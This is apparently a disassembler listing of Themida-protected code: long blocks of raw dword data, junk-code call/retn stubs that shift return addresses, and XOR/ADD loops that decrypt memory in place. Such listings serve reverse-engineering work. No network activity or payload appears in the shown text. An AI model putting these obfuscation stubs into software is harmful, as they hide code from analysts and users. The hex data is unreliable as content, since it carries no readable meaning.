dd 1032A19Dh, 0F8BF0F06h, 22C1BD83h, 0F030610h, 55385h
dd 27EF8100h, 83231C91h, 13C26DBDh, 840F0006h, 540h, 1EC5BD8Bh
dd 0B5FF0610h, 613C26Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 4CC35343h, 942BCAB1h, 5DBF58DEh, 0FF6E19B3h
dd 102FA595h, 0D5958906h, 8B061010h, 13C261B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8166FA47h, 0E8FBD5CBh, 12h, 597BC45Bh, 903A1CEDh, 0F3A00965h
dd 929A9D24h, 890F576Ch, 5, 0A783CDBBh, 6C75B62h, 10001h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h
dd 1D5DE1A4h, 50075A08h, 80243489h, 0B5FFCCF3h, 613C26Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2FC35545h
dd 11B9BD8Bh, 95FF0610h, 6101225h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 60C35747h, 58225509h, 0BD8B7896h
dd 6102A8Dh, 0C261B58Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 47699FC3h, 21D1858Bh
dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 1E0224C3h, 0C7BDE4B1h, 8589BEAAh, 610004Dh
dd 0FB59501h, 86890610h, 0C4h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 57C35545h, 58A0Fh, 0AFBF0000h
dd 0F945F923h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0C185C4C3h, 0FAC9D53Fh
dd 666B26C1h, 7A79CF81h, 2205BD8Bh, 0C2830610h, 56006A04h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 89BC0F90h, 8DF92050h, 13D7C285h, 9DBB6606h, 0B886892Fh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 207DC352h, 0CB816695h, 0BF0F42F5h
dd 0CDBD0BF9h, 6A061032h, 860F5700h, 6, 860Fh, 665B0000h
dd 0CE0EF381h, 0C26DB5FFh, 9D8B0613h, 6102E3Dh, 49595FFh
dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 8C2FCCC3h, 0B9DF8166h, 0D8BF0F4Fh, 9D65BB50h
dd 34894C44h, 799D8B24h, 0FF06100Eh, 13C26DB5h, 799D0906h
dd 0FF061027h, 10162D95h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 6A82C2EDh
dd 83D98B66h, 101351BDh, 840F0006h, 0A2h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 18h, 54C35343h, 96CC4D74h
dd 13E896h, 3D370000h, 0A954C516h, 5908E257h, 0C7667C2Ch
dd 0D9953ECDh, 0CE921h, 648B0000h, 8DA0A30Dh, 0A450AB58h
dd 505F0B4Bh, 6A96FC8Ah, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 5E99C355h, 10E960h
dd 3D260000h, 0A4411B4Fh, 0B556D4EAh, 0B6CE257Eh, 8153E952h
dd 0D9D2DCF7h, 0E9615E7Dh, 12h, 0EF406B4Fh, 0A4077446h
dd 0B56504A0h, 0FBF09A4Bh, 0B5FF72EBh, 613C26Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 39C35747h, 3DE5A535h
dd 4E16544Ch, 9E9B2h, 0CDD20000h, 0A0E7CF1Bh, 0FFC3C1E1h
dd 100C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 4F9C4F68h, 2471B9A0h, 3602CABh, 1006D98Dh
dd 8DBD8906h, 6106100Ah, 58C0Fh, 81660000h, 0FF37F0E3h
dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 9DCEDA30h, 2F8C8D0Ch, 12E8CCh, 0E4650000h
dd 0C6A41DE1h, 0DDCB47D2h, 0C1F97900h, 2ADD052Bh, 11E8h
dd 9B3B4600h, 50E9AC93h, 60C2AB12h, 0B54B3E0Bh, 6E946D1h
dd 9000000h, 0FBA081C4h, 8B5F5B3Bh, 8E9DAh, 0CE360000h
dd 7310E141h, 95FF67C6h, 6101621h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0D9C35343h, 0C20E5FC0h, 2840Fh
dd 0CFB30000h, 8C0Fh, 0BD830000h, 6100F89h, 6B840F02h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0E2E1C351h, 14E9h, 6CCBF800h
dd 7DC36CFEh, 95CE223h, 4A35BC09h, 0A7499BB9h, 0C5858B25h
dd 81061010h, 71D1BE3h, 0C63Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 0A7C35747h, 5FDBB66h, 1E5D9D8Bh
dd 85C70610h, 6102A25h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_59AA2F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59AA2F proc near ; CODE XREF: Themida_:0059AA27p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_59AA2F endp
; ---------------------------------------------------------------------------
db 20h
dd 4D9DA96Ah, 22F99D89h, 0BD010610h, 6100DD5h, 0FFF231E9h
dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0D7E63EACh, 0AE96027h, 79000000h, 0E01A88B4h
dd 0B0F55082h, 6850FA5h, 89000000h, 1004F595h, 0BD336106h
dd 6100DA9h, 8DF8C18Bh, 1013B985h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 2FC380F5h
dd 24048950h, 6A006AF5h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 7892C356h, 0DDBD8BB2h
dd 6A06102Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 6BAE54A4h, 2E38166h, 0F9BD894Bh
dd 8D06101Fh, 14F8A685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 29857FC2h, 10201D85h
dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 0B6C35242h, 444926FFh, 0C1DEAF17h, 0F8B70FA2h
dd 0FB8B6650h, 0F240489h, 68Dh, 0C5B50900h, 6A06100Dh
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 6A5B5282h, 5BD8B00h, 0BB061017h, 33AB6305h
dd 1D1995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 52B552C3h, 12E954A6h, 37000000h
dd 36307222h, 1D3064Dh, 0C3F75E8Bh, 0C376969Eh, 0E860F8Fh
dd 60000000h, 8D0Fh, 9D890000h, 6103001h, 8DFB8B61h, 13AFD88Dh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 68E0F02h, 89000000h, 100CA99Dh, 6AD1FF06h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0D400C351h, 9B31CF4h, 1004DD95h, 14E906h
dd 0DCD80000h, 6441DB89h, 4050C793h, 7A94679Ah, 6D60143Fh
dd 0BD8336CCh, 6102209h, 96850F01h, 0F000000h, 0D89h, 9D8B6000h
dd 6102D51h, 450EBEh, 26A611Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 77C35646h, 451B93F8h, 0F2D45655h
dd 90B0F380h, 0E9505B56h, 13h, 969EC3F7h, 0E68FC376h, 9F5B0E96h
dd 0FEB13828h, 90728ADFh, 60D9B70Fh, 1395958Bh, 85890610h
dd 61027BDh, 9595FF61h, 0BF061004h, 2DE8EE74h, 1B800Fh
dd 0E8600000h, 0Dh, 0BEDA80BFh, 0DC1B9CDBh, 0BA7C4062h
dd 0E6815FAEh, 7073F8F3h, 0E69E961h, 0E80000h, 5D000000h
dd 0F8B0ED81h, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 891099C3h, 100EAD9Dh, 0DFBF0F06h
dd 99B6858Dh, 0BD890613h, 6101645h, 5850F50h, 0BF000000h
dd 4DD40F41h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 3C8FC357h, 0FF550410h
dd 15819D2Bh, 0FF640610h, 35h, 820F6000h, 6, 1E758D89h
dd 9D310610h, 6102865h, 85896061h, 61014A5h, 99BD2B53h
dd 59061031h, 25896461h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_59ADC7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59ADC7 proc near ; CODE XREF: Themida_:0059ADBFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_59ADC7 endp
; ---------------------------------------------------------------------------
rcl al, cl
adc al, 93h
mov bh, 0F9h
jmp loc_59ADEE
; ---------------------------------------------------------------------------
dw 43D0h
dd 69540510h, 8E9BE8BEh
; ---------------------------------------------------------------------------
xor al, 54h
loc_59ADEE: ; CODE XREF: Themida_:0059ADDDj
inc dword ptr [ebp+6101419h]
push 0
push esi
call sub_59ADFF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59ADFF proc near ; CODE XREF: Themida_:0059ADF7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_59ADFF endp
; ---------------------------------------------------------------------------
db 0E6h
dd 294AB054h, 10286D95h, 0E8FF6A06h, 13h ; CODE XREF: Themida_:loc_59BB1Bj
dword_59AE20 dd 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h, 892F03A4h
; DATA XREF: Themida_:0054C348o
dd 1020E995h, 0B5FF5F06h, 6101B25h, 0EDDBD89h, 95FF0610h
dd 6100615h, 12AE9h, 58A0F00h, 66000000h, 440DCB81h, 5300B0F8h
dd 0ADF38053h, 70E65F5Fh, 27A99D8Bh, 0F600610h, 61F5C7B7h
dd 0BB5371E4h, 613BED59h, 0F613C5Bh, 0F683h, 45958900h
dd 0F061000h, 9D89C8B6h, 61006F5h, 6BAh, 51B50100h, 60061021h
dd 61F5D88Bh, 9D89C18Bh, 6101149h, 6604E8C1h, 8B24C6BFh
dd 100A15BDh, 0E2F76606h, 0D3DBD8Bh, 0C82B0610h, 79BD2352h
dd 5B06101Ah, 9D8BD18Bh, 61030ADh, 0A2E9h, 8BFE8B00h, 4C4C4485h
dd 5E85Fh, 83520000h, 0E82EB6F2h, 0Fh, 0C1CAA718h, 0E3548796h
dd 3A9D84F6h, 0F6D96B7h, 81h, 835F5B00h, 13E807C0h, 0A0000000h
dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 0BD8BBEC1h
dd 61029D9h, 0C0835Fh, 5899D09h, 3BF80610h, 11830FD0h
dd 81000000h, 184853C7h, 35E905h, 9D8B0000h, 61015B1h
dd 0FFFF8D8Bh, 9D8BFFFFh, 6100F99h, 0F01E183h, 1A84h, 83FE8B00h
dd 0FFFFFFA5h, 9589FEFFh, 5F4C4C44h, 15A99D8Bh, 0E90610h
dd 8D000000h, 146F4EB5h, 0C7806006h, 0C28166D7h, 6A61CFB3h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 3EFD426Ch, 0A5D6CF81h, 95FF4938h, 61031C9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BAC35646h
dd 1F959D8Bh, 7EB90610h, 3100000Fh, 1009C9BDh, 0FCE18306h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2C35646h
dd 507F278Ah, 1FC6328h, 1010C98Dh, 0B8F506h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 795EC351h, 3AE6EBBFh, 0F3355722h, 2BF8B70Fh
dd 858B60D2h, 6100A39h, 11E861h, 0BFA90000h, 0F6EABE5Bh
dd 0D60FCAFDh, 2CB43DDDh, 6695E3C9h, 0CCD7F381h, 0C233AD5Fh
dd 0D003E8D1h, 7504E983h, 2F781F4h, 6A5D680Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 1F8EC350h, 2F24B5D4h, 0DBF9014h, 88h, 12E8h, 0ECA9BB00h
dd 6A3ADEA6h, 323F68DBh, 55524A64h, 8BF0FC3Dh, 101175BDh
dd 958B5B06h, 61009F5h, 23198D8Bh, 6A0610h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29FA61C3h
dd 0BE44D7Ch, 1020ADBDh, 92E78106h, 50238C15h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 25BD8B58h, 66061006h
dd 97D5C781h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0AAC35242h, 83C25946h, 101E29BDh, 840F0006h, 5Ch
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 4CC35141h
dd 0B8FFB70Fh, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_59B16F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B16F proc near ; CODE XREF: Themida_:0059B167p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_59B16F endp
; ---------------------------------------------------------------------------
or ch, cl
leave
or edi, [ebp+6102179h]
lea ecx, [ebp+6104E85h]
or [ebp+6101D69h], esi
jmp ecx
; ---------------------------------------------------------------------------
mov edi, [ebp+6101BADh]
cmp dword ptr [ebp+61022C1h], 0
jz loc_59B631
push 0
push edx
call sub_59B1B4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B1B4 proc near ; CODE XREF: Themida_:0059B1ACp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_59B1B4 endp
; ---------------------------------------------------------------------------
dd 8B665238h, 0C1BD83D9h, 1061022h, 476840Fh, 850F0000h
dd 6, 805B589h, 0BD8B0610h, 6103011h, 22C1BD83h, 0F030610h
dd 42186h, 6A60F800h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 9330C352h, 0F774F613h, 0BF0F5C89h
dd 0D98C66DBh, 807DDB80h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 3E1EF9C3h, 0C6FE86E0h
dd 0C90ADEB3h, 0E2840Fh, 81660000h, 8BEE04D3h, 10218585h
dd 0A59D2306h, 33061000h, 1011FD85h, 0D5B58906h, 9006102Ah
dd 8E9h, 0BC7BF900h, 6C09598Fh, 52505034h, 0B9E1B260h
dd 561BE54Eh, 60310F61h, 7DB05A56h, 90585A61h, 2DDD8501h
dd 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 87C35747h, 0A7FF3D96h, 0FE33C1BBh, 9D8D891Bh, 0E806100Ah
dd 4, 1F03FFh, 7947BB66h, 24448B50h, 0FB8B5304h, 89008B5Bh
dd 0BB042444h, 51BA6488h, 0C810F58h, 0F000000h, 684h, 0CDB58900h
dd 8B061004h, 0D595FFD9h, 0BB061005h, 7EF80F81h, 0C26D8589h
dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0E9EE50C3h, 27Ch, 577BB66h, 0C265858Bh, 6A0613h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8B0CB9C3h, 1008D5BDh, 1800C706h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 8BAAC350h, 1010959Dh, 0D7816606h, 0B58BC9A6h, 613C269h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3CC35141h
dd 276B84F4h, 14BB2276h, 0C98D899Ch, 0BB061010h, 215F63h
dd 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0CE4165C3h, 7624D5Ah, 6892372h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4FC35040h
dd 0B529EDFEh, 610105Dh, 2185858Bh, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1FEAF1C3h
dd 4BFB9090h, 0FBB70FB0h, 6A044689h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 3E3C350h
dd 960701Ch, 101AA9BDh, 118D3106h, 6106101Ch, 8B525050h
dd 51310FFBh, 0BE9h, 54304000h, 4E82FE2Ah, 79A5F166h, 89585A5Bh
dd 0BD8B2434h, 6102ABDh, 0C265B5FFh, 6A0613h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2C7495C3h
dd 68668B89h, 0EDAA86ADh, 50525060h, 5A310F52h, 0BB310F58h
dd 3DF38B2Dh, 0DE9585Ah, 0AA000000h, 438E7049h, 0B17624F6h
dd 0DE62DACCh, 24048161h, 12747D52h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 2DC35545h, 8DD95650h, 13C26D85h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 8BFDCC82h, 103091BDh, 0E9609006h, 6, 0B1A017DFh
dd 0F600AF6h, 82h, 0CB8B6600h, 50506161h, 905FDF8Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h, 8BA829EEh
dd 1021E59Dh, 0D595FF06h, 6A061005h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9AD7C356h
dd 1913ECE4h, 3F1BDD7Ch, 19319D8Bh, 95890610h, 61019E9h
dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0A72330C5h, 29CCAEAFh, 0C185C7CEh, 3061022h
dd 60000000h, 0EE8h, 0A058600h, 4788D771h, 1D9ED841h, 0F940C24Bh
dd 0CFE7805Ah, 6DBD8361h, 613C2h, 14840Fh, 0FB8B0000h
dd 28E9h, 0BE666000h, 0F60F47Dh, 6161C8BFh, 305083B7h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h
db 36h
; ---------------------------------------------------------------------------
loc_59B631: ; CODE XREF: Themida_:0059B1A3j
; Themida_:0059B648j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_59B631
jmp short loc_59B667
; ---------------------------------------------------------------------------
loc_59B64C: ; CODE XREF: Themida_:0059B663j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_59B64C
jmp short $+2
loc_59B667: ; CODE XREF: Themida_:0059B64Aj
mov eax, eax
push 0
push ebp
call sub_59B674
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B674 proc near ; CODE XREF: Themida_:0059B66Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_59B674 endp
; ---------------------------------------------------------------------------
retf 90C5h
; ---------------------------------------------------------------------------
mov byte ptr [ecx], 8Dh
push ecx
sub eax, 9D8B0610h
mov ch, 0Dh
adc [esi], al
cmp dword ptr [ebp+61022C1h], 3
jnz loc_59BB1B
push 0
push esi
call sub_59B6AC
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B6AC proc near ; CODE XREF: Themida_:0059B6A4p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_59B6AC endp
; ---------------------------------------------------------------------------
dd 0D64FA22Dh, 0C26DBD83h, 0F000613h, 44E84h, 0D98B6600h
dd 0C26DB5FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 8B7FF5C3h, 100A319Dh, 8CAEBF06h
dd 95FF4911h, 6102FA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 81C35646h, 654F0725h, 0AAEB806Eh, 0C261B58Bh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0DEDD11C3h, 0FE8B66A7h, 1EDDBD8Bh, 6C70610h
dd 10001h, 68C0Fh, 9D290000h, 6101699h, 8F0F5150h, 2, 895B66B3h
dd 0B5312434h, 6101EC5h, 0C26DB5FFh, 6A0613h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 659A4EC3h
dd 0D19AD28Bh, 122595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 982D6FC3h, 1C1DBD8Bh
dd 0B58B0610h, 613C261h, 1925BD8Bh, 858B0610h, 61021D1h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A7C35545h
dd 7F470679h, 0C48689B0h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 4977C352h
dd 0A79412FBh, 0DC59D29h, 958B0610h, 61009F5h, 0C95BD8Bh
dd 0C2830610h, 5089F504h, 57006A20h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0F98B1D00h
dd 0D7C2858Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 6066CFC3h, 0EDB9244Fh, 8689517Ch
dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 50C35242h, 1F90B481h, 0BD8B26E6h, 61016DDh, 6A72D380h
dd 9BD8900h, 0FF061014h, 13C26DB5h, 0F99D8B06h, 6606101Fh
dd 4CC7DF81h, 49595FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0C272D4C3h, 0F50DA8Ah
dd 48Fh, 37BB6600h, 243489E3h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 4CC35141h, 1B06C538h, 0FF67B48Eh
dd 13C26DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 8E0FAD68h, 6, 14B19D89h, 0B70F0610h
dd 2D95FFFAh, 6A061016h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0B590C356h, 52F46208h
dd 51BD83AFh, 61013h, 81840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9C0929C3h
dd 6AF1E5E1h, 0B98D89C0h, 0F906102Ah, 1F8F0F50h, 50000000h
dd 880F52h, 0F000000h, 0DE831h, 0F6490000h, 0E0963092h
dd 0FBEEFFAEh, 5BA4F279h, 3489585Ah, 7E86024h, 8E000000h
dd 86E67FCDh, 8589B914h, 610168Dh, 14E959h, 9FF90000h
dd 5EE0A6E6h, 0E05277BEh, 0A575664Ah, 37E36325h, 0FF61D3F8h
dd 13C26DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0D7DE8DF6h, 48E0F8Fh, 66000000h
dd 2B74DEBFh, 101D7DBDh, 1995FF06h, 8B06100Ch, 1019DD9Dh
dd 0FFD7B706h, 13C26DB5h, 95FFF806h, 6101621h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 87C35646h, 686647h
dd 25843EDAh, 5E92Ch, 2EC50000h, 83647F5Bh, 100F89BDh
dd 840F0206h, 35h, 8D8D8957h, 5B061021h, 10C5858Bh, 0FE90610h
dd 6B000000h, 0E25A756Dh, 3E1A466Dh, 6EA6BCC4h, 0C6630Eh
dd 79953100h, 0E9061004h, 5, 0F6C7C938h, 2585C750h, 6102Ah
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 6015C353h, 0FFC98064h, 0DA8B6653h
dd 0CE8h, 0CB27A600h, 7D26FB7Dh, 3EDB50E8h, 0B1B5BB1Bh
; ---------------------------------------------------------------------------
xchg dh, [edi+ebx*2]
loc_59BB1B: ; CODE XREF: Themida_:0059B69Bj
jmp near ptr dword_59AE10+9
; ---------------------------------------------------------------------------
push 0
push edi
call sub_59BB2B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59BB2B proc near ; CODE XREF: Themida_:0059BB23p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_59BB2B endp
; ---------------------------------------------------------------------------
db 8Eh
dd 0CDC98ED6h, 880F5080h, 2, 605B20B7h, 0F13BBB66h, 8B61D18Bh
dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 607F973Dh, 46D98166h, 0C081665Fh, 8D616FA9h
dd 1013B985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 8166CD21h, 907467C7h, 5050EAB7h
dd 0FFBF6652h, 0E9310F07h, 13h, 0F34F050Dh, 438CE125h
dd 9A44966Ch, 5AECBD93h, 5ACB15D3h, 6A9058h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 733E83C3h
dd 0B5314694h, 6100AF9h, 850F006Ah, 6, 5B19D89h, 6A0610h
dd 858D48B7h, 615091Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 81C35545h, 92B1042Ch, 0C0834F71h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 6D31D76h, 8A46DD89h, 0DE983h, 0D3950000h, 6135DDDEh
dd 6FA28D72h, 50C1A11Bh, 89FE8B66h, 8B662404h, 8B006AD8h
dd 1011F5BDh, 89006A06h, 103141B5h, 1995FF06h, 6A06101Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 855AC353h, 31A4DD87h, 1006B1B5h, 699D2B06h
dd 8D06102Ah, 13AFD88Dh, 8B665606h, 0D1FF5BD8h, 12E9h
dd 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 834793E4h
dd 102209BDh, 850F0106h, 0A5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0A2C35141h, 26AD34Ch, 1C1B529h
dd 0E8500610h, 13h, 11633322h, 441FFEF1h, 0E58E7A9Dh, 2399BE28h
dd 0BF7B769Eh, 42207A98h, 2404895Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 87C35040h, 0F143895h, 0BB66DABFh
dd 0BB66A11Dh, 95FF535Fh, 6100495h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 21C35040h, 958C3345h, 7E9FFh
dd 42110000h, 78C933F0h, 0D38E9B3h, 0E80000h, 5D000000h
dd 928ED81h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 75D543C3h, 660C54D2h, 9589D88Bh
dd 6102361h, 99B6858Dh, 9D890613h, 6100BD9h, 0BAB86090h
dd 666004B9h, 5061C28Bh, 21A46CBBh, 6A9031h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD337DC3h
dd 61022EDh, 35FF64h, 0F5000000h, 258964h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0D08FC357h, 5F0B1F8Bh, 0A9CF9D63h, 0EAD9D8Bh, 85FF0610h
dd 6101419h, 0BE9h, 0F1DB9900h, 8ED1CD00h, 0FDFEDFD2h
dd 45DB529h, 0FF6A0610h, 10E856h, 63A60000h, 0BB6DA91Ah
dd 0DEA6ECA9h, 68DB6A3Ah, 0BD89323Fh, 61004DDh, 0B5FF5B5Bh
dd 6100EA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0F3C35040h, 95FFB24Ch, 6100615h, 136E9h, 11E900h
dd 0B62A0000h, 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0B0BE3BBBh
dd 5DB58900h, 0E6061008h, 3D9D3170h, 0E4061009h, 0C3816671h
